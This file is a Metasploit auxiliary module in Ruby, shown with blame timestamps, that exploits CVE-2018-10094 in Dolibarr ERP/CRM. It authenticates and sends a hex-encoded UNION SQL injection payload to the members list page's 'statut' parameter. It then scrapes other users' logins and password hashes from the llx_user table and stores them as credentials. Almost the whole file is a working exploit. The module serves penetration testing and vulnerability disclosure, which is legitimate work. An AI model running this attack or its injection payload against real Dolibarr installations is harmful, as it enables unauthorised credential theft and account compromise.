metasploit-framework/modules/auxiliary/gather/dolibarr_creds_sqli.rb

118 lines
3.9 KiB
Ruby
Raw Normal View History

2018-08-29 15:28:10 +00:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
2018-08-29 18:59:06 +00:00
include Msf::Exploit::Remote::HttpClient
2018-08-29 15:28:10 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Dolibarr Gather Credentials via SQL Injection',
2018-08-29 15:28:10 +00:00
'Description' => %q{
This module enables an authenticated user to collect the usernames and
encrypted passwords of other users in the Dolibarr ERP/CRM via SQL
injection.
2018-08-29 15:28:10 +00:00
},
2018-08-29 18:59:06 +00:00
'Author' => [
'Issam Rabhi', # PoC
'Kevin Locati', # PoC
'Shelby Pace', # Metasploit Module
],
2018-08-29 15:28:10 +00:00
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2018-10094' ],
[ 'EDB', '44805']
2018-08-29 18:59:06 +00:00
],
'DisclosureDate' => "May 30 2018"
2018-08-29 15:28:10 +00:00
))
register_options(
2018-08-29 18:59:06 +00:00
[
OptString.new('TARGETURI', [ true, 'The base path to Dolibarr', '/' ]),
OptString.new('USERNAME', [ true, 'The username for authenticating to Dolibarr', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for authenticating to Dolibarr', 'admin' ])
])
end
def check_availability
2018-08-31 13:08:46 +00:00
login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
2018-08-29 18:59:06 +00:00
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(login_page)
2018-08-29 15:28:10 +00:00
)
2018-08-29 18:59:06 +00:00
return false unless res && res.body.include?('Dolibarr')
return res
end
def login(response)
return false unless response
2018-08-31 13:08:46 +00:00
login_uri = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
2018-08-29 18:59:06 +00:00
cookies = response.get_cookies
2018-08-30 18:59:00 +00:00
print_status("Logging in...")
2018-08-29 18:59:06 +00:00
login_res = send_request_cgi(
'method' => 'POST',
2018-08-31 13:08:46 +00:00
'uri' => login_uri,
2018-08-29 18:59:06 +00:00
'cookie' => cookies,
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginfunction' => 'loginfunction'
}
)
unless login_res && login_res.body.include?('id="mainmenua_members"')
fail_with(Failure::NoAccess, "Couldn't log into Dolibarr")
end
2018-08-30 18:59:00 +00:00
print_good("Successfully logged into Dolibarr")
2018-08-29 18:59:06 +00:00
return cookies
2018-08-29 15:28:10 +00:00
end
2018-08-29 18:59:06 +00:00
def get_info(cookies)
2018-08-31 13:41:25 +00:00
inject_uri = target_uri.path.end_with?('index.php') ? target_uri.path.gsub('index.php', '') : target_uri.path
inject_uri <<= "/adherents/list.php?leftmenu=members&statut="
cmd = "1) union select 0,1,login,pass_crypted,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from llx_user #"
cmd = Rex::Text.uri_encode(cmd, 'hex-all')
inject_uri <<= cmd
2018-08-29 18:59:06 +00:00
inject_res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(inject_uri),
'cookie' => cookies
)
2018-08-29 15:28:10 +00:00
2018-08-30 18:59:00 +00:00
unless inject_res && inject_res.body.include?('id="searchFormList"')
fail_with(Failure::NotFound, "Failed to access page. The user may not have permissions.")
end
print_good("Accessed credentials")
format_results(inject_res.body)
2018-08-29 15:28:10 +00:00
end
2018-08-30 18:59:00 +00:00
def format_results(output)
credentials = output.scan(/valignmiddle">0<\/div><\/a><\/td>.<td>([a-zA-Z0-9]*)<\/td>.<td>(\S*)<\/td>/m)
2018-08-30 19:17:37 +00:00
fail_with(Failure::NotFound, "No credentials found") if credentials.empty?
2018-08-29 15:28:10 +00:00
2018-08-30 19:17:37 +00:00
credentials.each do |i, j|
print_good("#{j} #{i}")
store_valid_credential(user: j, private: i)
end
2018-08-29 15:28:10 +00:00
end
def run
2018-08-29 18:59:06 +00:00
available_res = check_availability
fail_with(Failure::NotFound, "Could not access the Dolibarr webpage") unless available_res
cookies = login(available_res)
fail_with(Failure::NoAccess, "Could not log in. Verify credentials") unless cookies
2018-08-29 15:28:10 +00:00
2018-08-29 18:59:06 +00:00
get_info(cookies)
2018-08-29 15:28:10 +00:00
end
end